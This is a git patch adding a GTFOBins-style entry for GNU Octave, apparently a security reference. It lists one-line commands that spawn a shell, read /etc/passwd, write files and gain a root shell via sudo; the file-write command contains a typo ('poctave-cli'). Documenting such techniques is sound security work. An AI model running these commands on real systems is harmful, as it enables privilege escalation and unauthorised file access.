From dbb2e24ff055cafff0605bd3b19fe80195c25ce6 Mon Sep 17 00:00:00 2001 From: SynackCerv <80706218+SynackCerv@users.noreply.github.com> Date: Thu, 22 Apr 2021 22:12:26 +0200 Subject: [PATCH] Create octave.md Add GNU Octave --- _gtfobins/octave.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/octave.md diff --git a/_gtfobins/octave.md b/_gtfobins/octave.md new file mode 100644 index 0000000..9fed372 --- /dev/null +++ b/_gtfobins/octave.md @@ -0,0 +1,10 @@ +description: The payloads are compatible with GUI. +functions: + shell: + - code: octave-cli --eval "system('/bin/sh')" + file-write: + - code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);' + file-read: + - code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);' + sudo: + - code: sudo octave-cli --eval "system('/bin/sh')"